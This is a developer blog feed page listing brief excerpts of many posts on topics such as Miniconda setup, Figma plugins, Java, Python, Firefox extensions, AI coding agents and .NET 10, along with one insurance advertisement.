    This approach is based on my personal experience, and is one of many approaches you'll find online. Go to the Anaconda website and download the shell script (.sh file) of Miniconda. Create a folder say myfolder at your suitable location. mkdir myfolder cd myfolder Paste the miniconda.sh file inside this folder (optional, but I did for convenience) bash ~/miniconda.sh # follow interactive prompts: # - accept license (yes) # - choose install location (default: ~/miniconda3) OK # - at the end it asks to initialize shell; say "yes" (or you can init manually later) After install, either restart terminal or source the shell rc: # restart terminal or source ~/.bashrc Stop auto-activation of base (recommended) : conda config --set auto_activate_base false Now base will not activate automati…  ( 8 min )
    Android Apps mithilfe von 1Password signieren
    (Zuerst erschienen auf: https://www.linkedin.com/pulse/android-apps-mithilfe-von-1password-signieren-julian-finkler-erlce) Android Entwickler wissen: Wenn man eine App in den Google Play Store hochladen möchte, muss das App Bundle bzw. das APK mit einem Schlüssel signiert sein. Als einzelner Entwickler ist der Prozess relativ trivial: Man legt einen Java Key Store, kurz JKS, an Man legt in diesem JKS einen Schlüssel zum signieren ab. Man legt eine key.properties Datei an, in der die die Details, wie Schlüssel oder das Passwort des Schlüssels stehen. Man signiert die App damit. Aus Sicht der Sicherheit sollten natürlich sowohl der JKS als auch die Properties-Datei nicht in ein VCS eingecheckt werden. Das bringt eine Reihe von Herausforderungen mit sich: Ich muss mich darum kümmern, dass der…  ( 8 min )
    10 Essential Figma Plugins Every Designer Should Know in 2025
    The Figma community is constantly evolving, and so are the plugins that help designers move faster, smarter, and more creatively. 1. Pixlore — AI-powered Design Assistant Pixlore helps designers create and iterate layouts through natural language. Wireframe or Autolayout to refine your generated results. 2. Autolayout Pro AutoLayout dynamically lays out layers in frames and updates the layout when the dimensions of child layers change. It behaves similar to Framer Stacks and the Anima Toolkit for Sketch. 3. Content Reel Manage real text and image content easily across your design system. 4. Iconify Access over 150,000 icons from multiple libraries — Material, Feather, Fluent, and more — all inside Figma. 5. Color Palettes ( Colorsinspo ) : Color & Accessibility Tools Explore and apply curated color sets from Dribbble and Color Hunt. 6. Mockuuups Studio Most Popular Mockup Plugin with 4500+ Device Mockups. 7. Wireframe Speed up the ideation stage by dropping prebuilt wireframe components for common UI patterns. 8. Font Preview Preview, compare, and apply different typefaces in real time. 9. Batch Styler Edit multiple text and color styles at once. 10. FigGPT An AI-powered writing tool for designers, helping you generate microcopy, UX writing, and placeholder text that fits the tone of your brand. 💡 Plugin Combinations Worth Trying Pixlore + Wireframe + Mockuuups Studio → from idea to showcase in under 5 minutes. Autolayout Pro + Batch Styler→ perfect for managing complex design systems. Content Reel + FigGPT → streamline your text and content workflows. Final Thoughts Pixlore are redefining how designers interact with AI and automation inside their design tools.  ( 7 min )
    Why I Built TaskDeck and How It Improves Your VS Code Workflow
    VS Code tasks are powerful, but most developers barely use them. The problem is not the feature itself. It is the workflow. Tasks are hidden behind menus, the command palette, or a tasks.json file that nobody enjoys editing. Running the same commands over and over becomes a small but constant tax on your focus. I built TaskDeck to remove that tax. I wanted a simple way to see all tasks in one place, launch them with one click, and stop jumping between JSON files, menus, and shortcuts. No magic, no reinvention. Just a faster way to work inside VS Code. VS Code Marketplace Repository VS Code tasks are one of the most useful features in the editor. They let you run scripts, build steps, linters, tests, and any command you need with a single entry. They should save time. Instead, most develop…  ( 11 min )
    How I vibe code: Improving my site design with Goose and Gemini 3
    OK this was so much fun: Googles Gemini 3 is amazing. just got it to redesign my home page. I was having fun with this one so no real idea what I wanted just vibing along. It gave me a matrix style hero component which blew me away. This is so cool and the fact that I can spend less than an hour to improve my personal site is insane. I used goose coding agent for this one which is open source and free and I just put my Gemini API key in which I am still using a free trial so my total cost for having fun was zero. Was quite impressed that by giving Goose the link to an image it just downloaded it for me and added it to my public folder of my site. One less tedious task for me to do. Towards the end I had the crazy idea of creating 7 hero component designs that change when you refresh the page. Why? Cause it's cool. This is maybe not how you build production apps but it sure is great for prototyping and getting to learn how new tools work and improving your communication with AI Agents and LLMs. I encourage you all to take time out of your day and play around. Build a personal site even if you never deploy it. Improve your personal site and modify the design just for fun. Have fun cause Gemini 3 is pretty amazing and the tools we have available to us right now is insane. And of course don't forget to run the Playwright healer agent after you have changed your design so your tests are updated. All it takes is a prompt. I didn't show it in this video but check out my other videos on Playwright Agents. Have fun and happy vibe coding Links: https://block.github.io/goose/ https://blog.google/products/gemini/gemini-3/  ( 7 min )
    5 Quick DevEx Audit Wins
    Hey friends! Last summer, we walked through the big picture of The DevEx Audit—a full-scale look at where your team is bleeding time and patience. We talked a lot about the value of good Developer Experience. But sometimes you don’t need a whole audit; you just need a wrench to turn a stuck bolt. Today's post is about those wrenches. We're picking out 5 small, fast moves that teams might overlook: things you can fix in a sprint (or even an afternoon) that will pay you back every single day. None of them are glamorous, but all of them are measurable. And together, they shave hours off lead time, clear away flaky roadblocks, and make the daily flow of work smoother. Let’s pop the hood and run through Blink’s Five Quick DevEx wins! Shorten your CI cycle. Smooth the local setup. Tame the pull…  ( 8 min )
    Earn Big Through Bug Bounties: A Developer’s Guide to Ethical Hacking
    Welcome! If you’re a developer curious about tapping into the world of bug‐bounty programs—where ethical hacking meets real rewards—you’re in the right place. This blog post will guide you through how you (yes, you) can turn your coding and troubleshooting skills into a potential income stream, while doing good by helping platforms and websites become safer. Imagine this: you find a serious flaw in a web platform, you responsibly disclose it, the company thanks you—and pays you. That’s the core idea behind bug-bounty programs. Ethical hacking isn’t just theory—it’s real, paid work. Companies are increasingly crowdsourcing security research because they know they can’t catch every flaw internally. For example, research shows that bug-bounty programs help vendors reduce risk and increase val…  ( 10 min )
    The Developer’s Paradox: Why You Need a Next.js SaaS Starter Kit to Stop Coding and Start Selling
    You have a brilliant idea. It came to you in the shower or during a commute—a SaaS concept that solves a specific pain point, has a clear target audience, and potential for recurring revenue. You rush to your computer, fire up your terminal, and type npx create-next-app. The adrenaline is pumping. You are ready to build the next unicorn. But then, reality hits. Before you can write a single line of logic that makes your app unique, you have to set up authentication. Then you need to configure the database connection. Then comes the Stripe integration, webhook listeners, protected routes, email transaction providers, and responsive dashboard layouts. Three weeks later, you are still debugging a JWT token issue. Your enthusiasm has waned, and your "brilliant idea" is gathering dust in a fold…  ( 11 min )
    Lesson 26: Freqtrade-Custom Strategy Development
    Lesson 26: Custom Strategy Development ⏱ Duration: 2.5 hours 🎯 Learning Objectives: Learn to write your own trading strategies from scratch So far, we've been using pre-made strategies. But true advancement is the ability to develop your own strategies based on your trading ideas. This lesson will teach you: Basic structure of Freqtrade strategies How to implement buy and sell logic How to add and use technical indicators Complete strategy development workflow Practical examples from simple to complex Create user_data/strategies/MyFirstStrategy.py: from freqtrade.strategy import IStrategy from pandas import DataFrame import talib.abstract as ta class MyFirstStrategy(IStrategy): """ My first custom strategy """ # Strategy basic information INTERFACE_VERSION = 3 …  ( 16 min )
    Stop Shipping Muddy Shadows: A Practical, Copy‑Paste Guide to Professional UI Shadows (CSS + Tailwind)
    Most shadows on the web still look like 2015: one heavy blur, too dark, pasted everywhere. Real products need shadows that signal depth without stealing attention, work on light and dark canvases, and don’t tank performance. This guide is the fastest way I know to ship professional, layered shadows in production. It combines a mental model, copy‑paste recipes (CSS + Tailwind), a small token system, and a QA checklist you can use in code reviews today. TL;DR Single shadows rarely read as depth. Use 2–3 layers with decreasing opacity and increasing blur. Typical per‑layer opacity lives between 0.06–0.22. Prefer slightly negative spread on the tightest layer to avoid chalky halos. In dark UI, use larger blur + lower alpha, not “darker shadows”. Don’t animate box-shadow on big surfaces; animat…  ( 9 min )
    GraphBit vs. LangChain, LlamaIndex, Haystack, and similar tools
    1) Performance & Architecture Rust core with Python bindings (PyO3) Advantage: The workflow engine, agent execution, LLM provider integrations, concurrency manager, and resilience primitives are implemented in Rust. This gives lower runtime overhead, real multi-threaded parallelism, and predictable memory usage versus Python-only orchestration layers constrained by the GIL. Memory: The core selectively uses optimized allocators (e.g., jemalloc on Unix) and pre-allocation patterns, reducing allocation churn. Python-facing APIs expose results without pushing heavy orchestration back into Python. Concurrency: GraphBit implements per-node-type concurrency control in Rust with atomic counters and wait queues, enabling high-throughput scheduling without a single global semaphore bottlenec…  ( 9 min )
    Top 6 WordPress Heatmap Plugins to Decode Real User Behavior
    Introduction In today’s competitive landscape, businesses need sharper visibility into how users actually interact with their websites to keep conversions moving in the right direction. Yet many still struggle with unclear click patterns, unnoticed drop-off points, and pages that fail to hold attention, simply because they cannot see what users truly experience. These gaps make decision-making slow and often inaccurate, leading to lost opportunities across product pages, landing pages, and key conversion paths. This is where WordPress Heatmaps step in, offering visual behavioral insights that help businesses refine their website with clarity and confidence. WordPress do offer different heatmap plugins, so that one can know the customer journey and their insights in detail. You will get…  ( 8 min )
    Importancia y Evolución de Java
    🌍 ¿Por qué Java sigue siendo tan importante en pleno 2025? Han pasado casi 30 años desde que Java apareció por primera vez, y aún hoy sigue siendo uno de los lenguajes más utilizados en el mundo del desarrollo backend. Su lema original, “Write once, run anywhere”, sigue más vivo que nunca: el código Java puede ejecutarse prácticamente en cualquier sistema, lo que lo ha mantenido como un estándar en empresas de todos los tamaños. De hecho, se estima que Java se utiliza activamente en más de 120 países para proyectos backend, desde aplicaciones bancarias hasta plataformas de streaming, sistemas de salud y soluciones empresariales complejas. Entre ellos, India, Estados Unidos, Alemania y España destacan como grandes centros de talento Java, pero India lidera ampliamente el uso de Java en entornos backend, gracias a su enorme ecosistema de desarrolladores y empresas que confían en su estabilidad y escalabilidad. 🚀 La evolución de Java: del código clásico al Java moderno Si pensamos en el Java de los 2000, lo recordamos como un lenguaje robusto pero muy verboso. Y la evolución no se detiene. En Java 25, encontramos mejoras notables en rendimiento, la madurez del Project Loom (concurrencia ligera con virtual threads), y una sintaxis más clara con pattern matching y record patterns, que simplifican enormemente el trabajo diario de los desarrolladores. 🤖 Java en la era de la inteligencia artificial El auge de la IA no ha dejado a Java atrás. Spring Boot, Quarkus o Micronaut, demostrando que Java continúa siendo el motor del backend empresarial… incluso en la nueva era de la inteligencia artificial. 💬 En resumen Java no es solo un lenguaje que sobrevivió al paso del tiempo; es un lenguaje que ha sabido adaptarse y reinventarse. Java no está envejeciendo. ☕  ( 7 min )
    Why Millions Choose Aetna for Health Coverage
    Discover tailored health insurance solutions with Aetna — a name trusted by millions nationwide. From individual and family plans to Medicare and employer coverage, Aetna offers flexible options that prioritise your well-being. With nationwide access to top healthcare providers, personalised support, and affordable plans designed to meet your unique health needs, Aetna is a reliable partner for your health coverage journey. Individual & Family Plans Agents and Brokers Employers Dental Providers Over 16 million members trust Aetna for dependable health coverage and service. Speak with a Certified Aetna Agent Individual & Family Health Plans: Coverage includes preventive care, doctor visits, hospital stays, and prescriptions. Aetna offers reliable, affordable, and flexible health insurance b…  ( 8 min )
    Swift AI: Built-In ML Power for Developers
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    Day 40: Python Armstrong Numbers Finder, Detect Narcissistic Numbers in a Range with Digit Power Sum
    Welcome to Day 40 of the #80DaysOfChallenges journey! This intermediate challenge explores finding Armstrong numbers (also called narcissistic numbers) in a given range, where a number equals the sum of its own digits each raised to the power of the number of digits. It combines digit extraction via strings, exponentiation, loop-based checking, and a helper function for clean logic, making it a solid exercise in numeric manipulation and conditionals. If you're advancing from basic loops to algorithmic checks or enjoy math-inspired problems, this "Python Armstrong numbers" script demonstrates a function that's efficient for reasonable ranges and easy to extend for larger bounds or optimizations. This task features a core is_armstrong function that verifies a single number, used in a range l…  ( 11 min )
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    Daily Tech News Roundup - 2025-11-20
    Daily Tech News Roundup Welcome to today's tech news! We've got a mix of business updates, AI advancements, and even a look at how the future was predicted. Let's dive into the biggest headlines. Monarch Tractor Faces Layoffs, Potential Shutdown Monarch Tractor, known for its electric tractors, is reportedly preparing for layoffs and has warned employees of a possible shutdown. A memo obtained by TechCrunch indicates that the company's pivot away from tractor manufacturing is putting it at financial risk. This highlights the challenges of entering the competitive agricultural technology market. Source Trump Executive Order Could Ban State AI Laws A draft executive order suggests that former President Donald Trump is considering granting the federal government unilateral power over AI regul…  ( 8 min )
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    7 Best Resources I Found to Learn Java (And How I Used Them to Get My First Dev Job)
    Java can feel like a jungle when you first dive in — tons of concepts, syntax quirks, frameworks, and, well, endless tutorials. I remember staring at my first Java “Hello World” program thinking, Is this it? Spoiler: it’s just the beginning. Over the years, after multiple projects, interviews, and mentoring sessions, I’ve distilled my go-to Java learning roadmap that cut through the noise and actually worked. Whether you’re a total newbie or brushing up for an interview, here are 7 best resources to learn Java—all battle-tested, structured, and full of actionable insights. Java: The Complete Reference by Herbert Schildt Why I think this book is the backbone of your Java learning journey This classic book felt like having a mentor by my side. It’s exhaustive, dense, and insanely thorough…  ( 9 min )
    Strings, Integers & Lists — The Building Blocks of Python
    A Practical Guide for Developers Who Want Cleaner, Faster, More Reliable Python Code 📌 Table of Contents Introduction 🔹 Introduction Strings, integers, and lists are the first three data types every Python developer encounters — but they remain foundational even for advanced projects. Whether you're writing APIs, processing datasets, building automations, or designing AI workflows, these three data types form the core operations underlying almost everything in Python. This guide focuses on developer-level clarity, real-world use cases, edge cases, and performance details. 🔹 Why These Three Data Types Matter Strings → parsing input, logs, APIs 🧵 Strings What Are Strings? Accessing Characters s = "Python" Slicing print(s[1:4]) # yth String Methods s = "hello world" words = ["fast", "rel…  ( 8 min )
    The 3 GitHub Projects I Recommend to Every Prompt Writer
    (If you want to think better, write better, and build better with AI) Most people treat prompting like typing random, unstructured, forgettable. Professionals treat prompting like engineering, systematic, documented, and versioned. GitHub isn’t just for code anymore. Here are three GitHub project styles that every serious prompt writer should maintain, no matter your experience level. Your Personal Prompt Library The “Second Brain” of every AI operator. If you want to become world-class at prompting, you need one place where you store: reusable templates reasoning frameworks instruction patterns system prompts debugging templates persona configurations thinking structures writing styles code-refactoring instructions productivity macros This repo becomes a toolbox, memory bank, and accelera…  ( 10 min )
    Create, Debug, and Publish Firefox Extensions: A Full Developer Guide Step by Step
    Table of Contents Introduction Why Firefox Extensions Matter Understanding WebExtensions Architecture Setting Up Your Development Environment Anatomy of a Firefox Extension Creating Your First Extension Background Scripts Content Scripts Popup & Options Page UI Messaging and Event Handling Storage and Data Management Permissions and Security Best Practices Intermediate Features Advanced Features Debugging and Troubleshooting Publishing on AMO Common Mistakes Performance Optimization Real-World Example: Text Saver Extension Conclusion Developing a Firefox extension empowers you to customize, automate, and enhance the browsing experience. Unlike traditional web apps, extensions can modify pages in real-time, interact with browser APIs, and provide tools that millions of users can rely on.…  ( 9 min )
    NextGen Tools for founders ready to promote their product
    NextGen Tools offers a Product Hunt alternative focused on real visibility. Your launch page highlights your title, summary, images, and site link. Visitors browse new tools and support the ones they value. Higher rankings come from real votes. Products in the top 3 that place the badge on their site receive a dofollow link. Founders launch MVPs and full SaaS products. Users view tools across multiple categories. Launch, share, and grow with real engagement. Start here: https://nxgntools.com  ( 6 min )
    How to Create Specialized Password Generators with Python Functions?
    Summary: Random Password Generation In this article, we will explore a versatile and modular approach to building a password generator in Python. Moving beyond a single script, you will learn how to create multiple specialized functions, each designed for a specific purpose. We will define functions that generate letters-only passwords, numeric PINs, complex punctuation-based keys, standard alphanumeric passwords, and even a fully customizable generator that uses any character set you define. This step-by-step guide Python Password Generator will empower you to understand function definition, default parameters, and the principles of code reusability, providing you with a toolkit of password generation solutions for various security scenarios. import random import string def password_le…  ( 9 min )
    Building Accessible Themes with Generative AI
    Most default code editor themes don’t work for me. As someone with astigmatism, high-contrast or overly saturated themes strain my eyes. I constantly switched themes, but nothing felt right. It wasn’t just about looks, I needed help creating something that was suited my needs for writing code. Many themes either failed WCAG contrast standards or were uncomfortable to read. Creating a custom theme felt daunting, until I started using gen AI to assist me. Using generative AI, I could describe exactly what I needed: "A dark theme with muted backgrounds and soft contrast for string literals." "All elements must pass WCAG AAA minimum contrast." "Avoid yellows and high-saturation colors." In minutes, I had accessible designs tailored to my needs. I wasn’t just editing and fighting through balanc…  ( 8 min )
    Understanding the All Ordinaries Index: Structure, Purpose, and Market Role
    The All Ordinaries Index, often abbreviated as allords, stands as one of Australia’s longest-established equity benchmarks. It represents a broad overview of the Australian share market, capturing the performance of a large portion of companies listed on the Australian Securities Exchange (ASX). While numerous indices exist within the Australian financial landscape, the allords holds a unique place due to its wide coverage, long history, and consistent methodology. Introduced in 1980, the allords was originally created to offer a broad gauge of national market activity. Unlike more concentrated indices that focus on a select group of major firms, this index tracks hundreds of listed entities, making it one of the most comprehensive indicators of Australian equity movements. Its purpose is …  ( 8 min )
    Antigravity and Gemini3 Coding Test
    Testing AI coding assistants with real-world tasks: ConnectOnion agent framework migration and frontend development Project: github.com/openonion/connectonion I've been coding for 5 hours this morning using Antigravity and Gemini3, and here's my conclusion. First of all, here's my background for your reference: I've been using both Cursor and Claude Code for coding 10 hours per day for 2 years. I've been a machine learning engineer for 7 years, and started writing agents since 2024. ConnectOnion (github.com/openonion/connectonion | docs.connectonion.com) - this agent framework was created by me. I'm a $400 Gemini Ultra user, and also use the Gemini CLI sometimes. And here's my conclusion: Antigravity is better than Cursor - for me, around 20% better. Gemini3 is better than Claude for long-…  ( 8 min )
    STN Hackathon 2025
    STN Hackathon 2025 is an exciting upcoming hackathon going to be held on 6th-7th December 2025. It is a 24 hour hackathon expected to be filled with innovation and tech lovers of Nepal. It is an Open theme full stack challenge open to all developers, designers, ai/ml enthusiasts, innovators and tech lovers. It is organized by IT Skills Training Nepal, Putalisadak. Full details: Here You can join as a team of 4 members maximum or you can go solo if you are feeling confident. Registration closes on 4th December, 2025 and limited seats are available so register now to not miss the chance. Talking about the prizes, the prizes include internship opportunities and even job placement so it is very ideal for students looking to start their career. Prizes include: Participants will also have the chance to connect with tech experts and like minded individuals, receive certificates and gain recognition. Beyond the rewards, the hackathon offers a valuable experience in real-world project development and working under tight deadlines. If you’re passionate about technology and eager to challenge yourself, STN Hackathon 2025 is the perfect opportunity to learn, create and grow. For information of all upcoming hackathons and events you can also join Nepvents, the best event discovery platform for tech students in Nepal.  ( 6 min )
    Server Side Rendering Explained for People Who Have Never Heard of It
    If you have been around modern web development for a while, you have definitely heard the term SSR. It feels like one of those concepts that everyone mentions in conversations about performance and user experience. Yet many beginners find it confusing because there are many related ideas like client side rendering, static generation and hydration. This article will give you a simple understanding of what SSR actually is and why it is used. SSR stands for Server Side Rendering. It means that the server prepares the HTML for a page before sending it to the browser. When the user loads your site, they immediately receive a page that already contains the content. In client side rendering the browser loads an empty shell and then JavaScript builds the content. In SSR the user does not wait for …  ( 8 min )
    🚀 Experience Liftoff: Google Antigravity—The Agent-First IDE Redefining Development
    The age of the simple AI "autocomplete" is over. We've entered the era of the Agent-First IDE, and Google's Antigravity is leading the charge. Launched alongside the powerful Gemini 3 model, Antigravity is not just a souped-up VS Code fork; it's a completely new paradigm where AI agents function as autonomous, accountable teammates, operating across your entire development workflow. For the professional software developer, Antigravity shifts your role from line-by-line implementation to high-level architecture and task delegation. It elevates human judgment by automating the tedious execution, fundamentally changing how fast, and how far, a single engineer can build. Antigravity's biggest differentiator is the shift from an AI assistant that only gives suggestions, to an AI Agent that can …  ( 9 min )
    MVP Agent — AI-powered MVP Blueprints (Gradio + Gemini + MCP)
    The Problem: Turning Ideas into Action is Hard Every founder faces the same painful journey: you have a brilliant startup idea, but translating that vision into a concrete, actionable plan feels overwhelming. You need to research competitors, validate market demand, design architecture, plan features, map user flows, and create a roadmap—all before writing a single line of code. This research and planning phase can take weeks, involve expensive consultants, or result in half-baked specifications that engineers struggle to implement. What if you could compress weeks of work into minutes? MVP Agent is an AI-powered system that transforms a single paragraph describing your startup idea into a complete, production-ready MVP blueprint. It's not just another AI wrapper—it's a sophisticated age…  ( 10 min )
    How to Create Interactive UIs with Animation and Transition Effects in ArkUI
    Read the original article:How to Create Interactive UIs with Animation and Transition Effects in ArkUI Introduction In this article, we’ll explore how to use animations in ArkUI through simple yet effective examples. Animations are not just a way to make user interfaces more beautiful — they also bring life and interactivity to apps in the most enjoyable way. HarmonyOS NEXT’s ArkUI framework offers developers a rich and flexible set of animation capabilities to achieve just that. With the aid of animations, you can: Performance Tips & Best Practices 🎯 Keep animations short and meaningful. Long animations can make users feel like they’re waiting. 🚀 Maintain a high FPS (frames per second). Aim for 60FPS whenever possible. Avoid overly complex animations that can cause lag. 🧠 Avoid unnece…  ( 9 min )
    Free Developer Tools: How I Built a Complete Toolkit for the Community
    As a full-stack developer, I've always believed in giving back to the community that has helped me grow. That's why I created a comprehensive collection of 100% free developer tools that solve real problems we face daily. Tech Stack: Frontend: Next.js 15 with TypeScript Styling: Tailwind CSS with shadcn/ui components Deployment: Netlify with optimized build configuration Performance: Lighthouse scores 90+ across all metrics Architecture: The tools are built as modular React components with a focus on performance and user experience. Each tool is self-contained, works offline, and processes data client-side for privacy and speed. // JSON Formatter Tool - Core Logic interface JSONFormatterState { input: string; output: string; error: string | null; isValid: boolean; } const useJSON…  ( 10 min )
    My 6-Month Odyssey: From Binary Novice to Embedded Systems Warrior
    Introduction A journey of a thousand instructions begins with a single bit. Six months ago, I began the Processors and Controllers course—a world where software meets hardware and where code manifests as motion, light, and sound. This isn't just a technical recount; it's about late nights debugging, the thrill of seeing an LED blink for the first time, and the satisfaction of making a stepper motor dance to my code. Month 1-2 was all about learning to think like a machine. The Intel 8086 microprocessor initiated me into low-level programming where every assembly instruction directly molds machine behavior. Key Concepts: Bus Interface Unit (BIU): Manages external bus operations, segment registers, and instruction queue Execution Unit (EU): Arithmetic operations, flags register, and instru…  ( 7 min )
    AI in C# and .NET Development: Google Antigravity IDE
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    Why Modern DevOps Engineers Ignore CPU, Memory & Networking — And Why It’s a Big Mistake
    Because most tools abstract the system Tools like: Kubernetes Docker Terraform Cloud providers CI/CD tools …hide the underlying CPU, RAM, storage, network details. So engineers assume: “The platform will manage it; I don’t need to know systems-level details.” That’s WRONG. 2️⃣ Because modern DevOps training is shortcut-based Bootcamps and online courses teach: Docker commands Jenkins pipelines Kubernetes YAML GitHub Actions …but don’t teach: How CPU scheduling works How memory paging or swapping impacts containers How Linux kernel handles disk I/O How networks, subnets, routes, MTU work How disk throughput affects pods So DevOps engineers come out tool operators, not system engineers. 3️⃣ Because many DevOps engineers never operated bare-metal Old-school sysadmins worked with: Physical ser…  ( 7 min )
    Create a Text Editor in Go - Search
    You can access the code of this chapter in the Kilo-Go github repository in the search branch. Currently your file structure should look something like this: We have now a functional text editor, we could even continue writing the code for this project in it Let's use editorPrompt to implement a minimal search feature. When the user types a search query and presses Enter, we'll loop through the text, and if a row contains the query string, we'll move the cursor there File: utils/constants.go const ( ... KILO_DEFAULT_STATUS_MESSAGE = "HELP: Ctrl-S = save | Ctrl-Q = quit | Ctrl-F = find" ) File: utils/find.go package editor import ( "strings" ) func (e *EditorConfig) editorFind() { query := e.editorPrompt("Search: ") if query == "" { return } for i :=…  ( 9 min )
    How I Built a Chase Bank PDF Parser with 99% Accuracy
    Parsing PDFs sounds easy until you try parsing bank statements. I learned this the hard way. I spent nearly 2 months building a Chase Bank PDF parser that reaches 99% accuracy across 23 real statements (1,123 transactions total). Meanwhile, generic converters like Tabula or PDFTables only hit ~70% on the same documents. Here’s why Chase PDFs are much harder than you think—and how I solved the problems using TypeScript and pdfjs-dist, with real code you can copy. ⸻ Introduction If you’ve ever worked with U.S. banking data, you know that Chase Bank does something strange: CPAs, bookkeepers, and backend engineers quickly hit a wall when they need 5+ years of historical data. Chase provides those older statements only as PDFs—and the PDFs are absolutely not designed for machine parsing. Most …  ( 12 min )
    Generate MCP Tool Schemas Directly From Java Code
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    Implementing BitDT: A Step-by-Step Guide to Date-Time Lossless Compression
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    Leveraging CPC and IPC Codes to Improve Searches: Using Classification in Patent Search
    Introduction For patent professionals, the sheer volume of patent filings across jurisdictions can make keyword-only searches unreliable. Terms vary, translations introduce discrepancies, and technical nuances often get missed. This is where using classification in patent search becomes indispensable. Classification systems, such as the Cooperative Patent Classification (CPC) and International Patent Classification (IPC), categorize patents by technology rather than words, providing a structured approach to identify relevant prior art efficiently. In this article, we explore how to leverage CPC and IPC codes for patentability searches, freedom-to-operate analyses, invalidity assessments, and competitive intelligence. We cover workflows, practical strategies, advanced techniques, and the …  ( 10 min )
    Number Time: A Proposal for Rational Temporal Measurement
    Current timekeeping systems reflect historical accidents rather than logical design. The base-60 division of hours and minutes originated from Sumerian finger-counting methods, while our irregular Gregorian calendar stems from Roman political manipulation. This paper proposes "Number Time," a decimal-based temporal system designed to reduce cognitive load, eliminate timezone confusion, and align with natural human rhythms through percentage-based daily measurement, standardized calendar structures, and location-specific sunrise references. The contemporary global timekeeping framework suffers from fundamental inefficiencies rooted in historical contingency. Our 24-hour day divided into 60-minute hours and 60-second minutes exists solely because ancient Sumerians counted using the 12 finger…  ( 13 min )
    Strategy Pattern
    What is strategy pattern ? Strategy is a behavioral design pattern that lets you define a family of algorithms, put each of them into a separate class, and make their objects interchangeable. Strategy Interface: A common interface or abstract class is defined to represent the algorithm's behavior. Concrete Strategies: Concrete classes implement the strategy interface, providing a specific algorithm or behavior. Each concrete strategy encapsulates a particular way to perform a task. Context: The context is the class that uses a strategy. It holds a reference to a strategy object and delegates the task to it instead of executing the logic itself. The context can be configured with a different strategy object at runtime. Client: The client code is responsible for creating the context and choosing which concrete strategy to pass to it. It helps you: ✔ Remove long if/else or switch blocks Think of a payment service: Without Strategy Pattern → you'd write big conditional logic. With Strategy Pattern → you create a separate “strategy” class for each payment type. Source information SourceCode StrategyPattern Github  ( 6 min )
    Type hints in Python (1)
    A type hint: is the label(annotation) which specifies the types for a variable, or function parameter or return value. can be done with one or more types with ':'and with or without '|'. is used with the type checkers such as mypy, pyright, pyre-check, pytype, etc. is optional so it doesn't force the type with error unless type checkers are used. I used mypy --strict for the experiments.     *mypy can be installed with pip install mypy. A type hint can be done with one or more types with ':' and with or without '|' as shown below: *Memo: | can be used from Python 3.10 and typing.Union is still usable: typing.Union can have one or more types. # from typing import Union v: str = 'Hello' # v: Union[str] = 'Hello' # Equivalent v = 23 v = None # Error # from typing import Union v:…  ( 8 min )
    Day 10 of improving my Data Science skills
    So I did an exercise to practice what I learned. I was given three banks' datasets: JPM (JP Morgan), Wells (Wells Fargo) & BAC (Bank of America). These three banks recorded their stock prices at different times due to delay caused by network issues, so their timestamps don’t match exactly. I needed to compare how the prices change across the three banks over time. To do that, I had to first align their times using merge_asof(). What this does is that, it takes a timestamp from JPM, checks to see which timestamp in Wells is closest to it, and then stores the value. I proceed to repeat the same for BAC, and I end up with a lineup of the three banks' logs, where each row has prices taken at almost the same moment. .diff() helps calculate the price changes across the three banks. I plotted these changes to show how each bank's stock price changes over time: Blue line represents JPM From the plot, we can see that: Wells and BAC move more steadily But all three banks show similar rise and fall patterns overall It suggests their price movements are correlated because all big US banks react to similar market forces. For my non-data science audience, you might be asking, kini gbogbo eleyi TL mi?(What's all this on my timeline?). When recording stock prices, different banks often log data at slightly different times. Once the timestamps were aligned, I calculated how much each stock price changed over time. Guess what I found... JPM (blue) is more volatile, swings higher, up and down. The curves for Wells and BAC look similar and smoother. That’s normal, they’re both traditional retail/consumer banks. They respond to: These factors affect them in the same direction, so their returns often move similarly. JPM had the most dramatic ups and downs. Why? Because JPMorgan has: ✔ A massive investment banking division Investment banking stocks naturally move more sharply. This is the End. -SP Day 9 of improving my Data Science skills Sylvester Promise ・ Nov 18 #webdev #ai #career #machinelearning  ( 7 min )
    第 24.3 课:币安合约交易操作详解
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    The Scream Beneath the Digital Noise: Why We Can't Turn Off Notification Sounds
    Have you ever wondered why that tiny notification sound has the power to pull our attention like a magnet we never asked to carry? On the subway, in cafés, classrooms, on the street. It's always the same. Ding. Such a small sound, but it pokes at something inside us. It's become one of modern life's strangest habits - instead of turning their phones down, people crank the volume all the way up. And it's not just a setting. It's almost a personality trait, a posture, a way of saying "I'm here." At some point, that tiny sound becomes an extension of who someone is. A kind of digital breath, I guess. Of course, there's biology involved. Dopamine. The moment that sound plays, your brain releases this tiny reward, a little spark. It feels like someone thought of us, reached out, needed us. Afte…  ( 7 min )
    What's New in .NET 10 and C# 14
    What's New in .NET 10 and C# 14: The Enterprise Architect's Guide to WebAssembly as a Parallel Runtime TL;DR: Why This Matters to Every .NET Developer If you're a .NET developer who's been writing C# code for years but haven't been paying attention to the WebAssembly revolution, this article is your wake-up call. .NET 10 (released November 11, 2025) isn't just another incremental update—it's Microsoft's declaration that the browser is now a first-class .NET runtime, sitting alongside your traditional server deployments. Imagine writing your business logic once in C# and having it run everywhere: on your servers at 49% faster speeds than .NET 8, in the browser via WebAssembly with 76% smaller download sizes, on edge devices via WASI, and even in native mobile apps through .NET …  ( 78 min )
    Framer Ground: Copy-Paste Animation Components for React/Next.js
    Framer Ground: Open-source animated components you can copy directly into React/Next.js projects Key features: ✂️ No npm install needed, just copy and paste the code ⚡ Built with Framer Motion for smooth 60fps animations 🎨 Styled with TailwindCSS, easy to customize 📦 Includes buttons, cards, carousels, galleries, inputs, menus, and navbars 💪 Full TypeScript support 🚀 Works alongside any UI library Check it out if you want to add micro-interactions without building animations from scratch. Similar approach to shadcn/ui but focused purely on animations. 👉 Blog Post 👉 GitHub Repo 👉 Live Demo  ( 6 min )
    **"Score Big on the Road to Qatar: In-Depth World Cup Analysis & Predictions"**
    World Cup 2026: Unpacking Team Performances, Qualifiers, and Match Analysis As we edge closer to the 2026 FIFA World Cup, the excitement is palpable. The latest FIFA rankings have revealed the top seeds, leaving us wondering about the prospects of various national teams. In this article, we'll delve into team performances, qualifiers, match analysis, and player insights, providing you with a comprehensive understanding of the World Cup 2026 landscape. The qualifying process for the 2026 World Cup has been nothing short of dramatic. With some surprising upsets and impressive comebacks, teams have secured their spots or narrowly missed out. According to worldcup26.app, as of now, the following teams are qualified: Africa: Egypt, Ghana, Morocco, Senegal, Tunisia Asia: Australia, Japan, South …  ( 7 min )
    Securing Cross-Account AWS Operations: Adding External ID Support to AwsCustomResource
